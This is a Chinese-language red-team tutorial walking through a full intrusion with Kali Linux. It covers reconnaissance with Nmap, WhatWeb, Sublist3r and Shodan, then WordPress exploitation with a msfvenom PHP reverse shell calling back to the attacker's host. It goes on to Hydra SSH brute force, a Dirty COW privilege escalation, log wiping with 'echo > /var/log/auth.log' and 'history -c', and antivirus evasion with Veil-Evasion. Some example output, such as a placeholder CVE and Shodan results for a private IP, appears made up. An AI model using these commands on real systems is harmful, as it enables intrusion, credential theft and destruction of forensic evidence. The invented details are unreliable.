一、定位目标:从侦查到锁定攻击面
渗透测试的第一步,永远是信息收集。在红队的视角中,信息收集就像潜伏者的前期侦查,能够直接影响到后续攻击的质量。在 Kali Linux 中,这个阶段可以依靠一系列工具完成,比如 Nmap、WhatWeb、Sublist3r 等。那么,究竟如何用这些工具在实际场景中找到目标的攻击面?我们接下来详细拆解。
1.1 探测并绘制网络地图
网络扫描是信息收集阶段的核心任务之一,而 Nmap 无疑是这方面的最佳选择。它不仅能探测活跃主机,还能识别开放的端口和运行的服务。下面是一个典型的 Nmap 使用案例:
<pre><code class="language-shell"># 使用Nmap快速扫描某个目标 nmap -sS -Pn -p 1-65535 -T4 <目标IP></code></pre>
参数解析:
-sS: 执行 SYN 扫描,速度快且隐蔽。-Pn: 跳过主机是否存活检测,直接扫描目标。-p 1-65535: 扫描目标的所有端口。-T4: 调整扫描速度,T4 是较快的扫描模式。
假设你扫描的目标为 192.168.1.100,得到以下输出:
<pre><code>PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 3306/tcp open mysql</code></pre>
这告诉我们目标主机开放了 SSH、HTTP 和 MySQL 服务,后续的攻击重点就可以围绕这些服务展开。
1.2 Web 应用指纹识别

如果目标的开放端口中存在 Web 服务(如 80 或 443),下一步就是识别其使用的框架、CMS(内容管理系统)或者其他技术栈。WhatWeb 是一款极其优秀的 Web 指纹识别工具,可以帮助我们快速锁定目标的技术细节。
<pre><code class="language-shell"># 使用WhatWeb扫描目标Web服务 whatweb -v http://<目标IP>/</code></pre>
当我们对某个目标(如 http://192.168.1.100/)执行扫描后,可能会输出以下结果:
<pre><code>http://192.168.1.100 [200 OK] Country[UNITED STATES][US], IP[192.168.1.100], PoweredBy[PHP/7.3.33], Title[Example Website], X-Powered-By[WordPress]</code></pre>

从这个结果中我们可以看到:
- 该站点运行在 PHP 7.3.33 环境下。
- 使用了 WordPress 作为 CMS。
- 服务器在美国。
WordPress 是一个非常普遍的攻击目标,因为其插件生态极为庞大,漏洞也相对丰富。后续我们可以直接针对它进行漏洞扫描和利用。
1.3 子域名枚举:扩大攻击面
在真实的渗透测试中,单个 IP 或域名往往不是唯一的目标。通过子域名枚举,我们可能会发现更多的目标资产。Sublist3r 是一个功能强大的子域名枚举工具,特别适用于这种场景。
<pre><code class="language-shell"># 使用Sublist3r枚举目标域名的子域 sublist3r -d example.com -o subdomains.txt</code></pre>
运行后,你可能会得到如下结果:
<pre><code>www.example.com mail.example.com admin.example.com test.example.com</code></pre>
这些子域名可能对应不同的系统,比如后台管理平台(admin.example.com)或邮件服务(mail.example.com)。尤其是类似 test、dev 这样的子域,往往是开发环境,存在更多漏洞。
1.4 利用 Shodan 定位更多攻击面
如果目标 IP 已经被暴露在互联网上,Shodan 可能可以帮助你发现更多信息。Shodan 是一个强大的互联网搜索引擎,可以直接查询目标的开放服务和存在的漏洞。结合 Kali Linux,使用 Shodan CLI 工具,你可以快速挖掘目标资产。
<pre><code class="language-shell"># 使用Shodan CLI查询目标IP shodan host <目标IP></code></pre>
假设我们查询 192.168.1.100,可能会得到以下结果:
<pre><code>Open Ports: 22/tcp (SSH) 80/tcp (HTTP) Vulnerabilities: CVE-2021-12345: Apache HTTP Server 2.4.46 DoS Vulnerability CVE-2020-3456: OpenSSH User Enumeration</code></pre>
这表明目标不仅暴露了开放端口,还存在两个高危漏洞。接下来的重点就是验证这些漏洞是否真实可用,并尝试构造攻击载荷。
---
二、漏洞利用:攻破目标的核心手段
在完成信息收集后,接下来的任务是利用上述发现的漏洞对目标发起攻击。在这一部分,我们选取 Web 应用和服务端漏洞两种典型场景,结合 Kali Linux 的工具,演示如何实现从漏洞发现到攻击的完整流程。
2.1 Web 应用漏洞利用:针对 WordPress
回到之前的信息收集,我们已经确认目标站点使用了 WordPress。接下来,我们用 WPScan 对其进行漏洞扫描,寻找潜在的攻击入口。

<pre><code class="language-shell"># 使用WPScan扫描WordPress站点 wpscan --url http://192.168.1.100/ --enumerate vp</code></pre>
参数解析:
--url: 指定目标 URL。--enumerate vp: 枚举漏洞插件(Vulnerable Plugins)。
输出结果可能如下:
<pre><code>[+] Enumerating plugins:
- plugin: revslider
- version: 4.2
- vulnerability: CVE-2014-9734</code></pre>
我们发现目标使用了一个存在高危漏洞的插件(Revolution Slider)。这个漏洞允许未经授权的用户直接上传恶意文件到服务器。
构造攻击载荷并上传 WebShell
我们可以利用 Metasploit 构造一个 PHP WebShell 并上传到目标服务器:
<pre><code class="language-shell"># 生成PHP WebShell msfvenom -p php/meterpreter/reverse_tcp LHOST=<你的IP> LPORT=4444 -o shell.php</code></pre>
然后使用 Metasploit 内置的模块直接利用漏洞:
<pre><code class="language-shell"># 启动Metasploit msfconsole
加载RevSlider漏洞模块并设置参数
use exploit/unix/webapp/wp_revslider_upload_execute set RHOSTS 192.168.1.100 set TARGETURI / set PAYLOAD php/meterpreter/reverse_tcp set LHOST <你的IP> set LPORT 4444 exploit</code></pre>
成功后,你就可以在 Metasploit 界面中获得一个 Meterpreter 会话。
---
2.2 服务端漏洞利用:利用 SSH 弱口令
如果目标服务器开启了 SSH 服务,并且没有使用强密码保护,可以尝试用 Hydra 进行暴力破解。
<pre><code class="language-shell"># 使用Hydra进行SSH暴力破解 hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100</code></pre>
运行后可能会得到以下结果:
<pre><code>[22][ssh] host: 192.168.1.100 login: root password: 123456</code></pre>
成功获得 SSH 密码后,你可以直接登录目标服务器:
<pre><code class="language-shell">ssh [email protected]</code></pre>
登录成功后,你就获得了目标的完全控制权。
---
三、权限提升:从普通用户到系统控制
即便成功入侵目标主机,权限仍然可能受限。在 Linux 系统中,常见的提权方式包括利用内核漏洞(如 Dirty COW、Polkit)、滥用 SUID 文件,以及环境变量劫持。
3.1 Dirty COW 漏洞提权
Dirty COW(CVE-2016-5195)是一个 Linux 内核漏洞,允许攻击者通过写时拷贝(Copy-on-Write)机制实现权限提升。在 Kali Linux 中,我们可以利用公开的 Dirty COW POC 进行提权。
以下是一个 Ruby 实现的 Dirty COW POC:
<pre><code class="language-ruby">#!/usr/bin/env ruby puts "[+] Exploiting Dirty COW vulnerability..."
(省略完整代码)</code></pre>
运行 POC 后,你将直接获得 root 权限。
---
四、痕迹清除:隐藏你的踪迹
作为红队成员,彻底清除入侵痕迹至关重要。以下是几个常见的操作:
- 删除日志文件:
`shell echo > /var/log/auth.log echo > /var/log/syslog `
- 隐藏 WebShell:
将上传的 WebShell 更名为普通文件名,并移动到深层目录。
- 清除历史记录:
`shell history -c `
---
五、经验之谈:如何做到更隐蔽?
渗透测试不仅仅是技术上的较量,更是一场心理博弈。攻击者需要时刻与防守者斗智斗勇。在实际操作中,记住以下几点:
- 流量伪装:使用 ProxyChains 或 VPN 隐藏真实 IP。
- 绕过检测:在上传恶意文件时,先用 Veil-Evasion 对其进行免杀处理。
- 保持低调:避免大规模扫描,分阶段逐步推进。
---
最后提醒:本文中的所有操作仅限于授权的安全测试,请勿用于非法用途!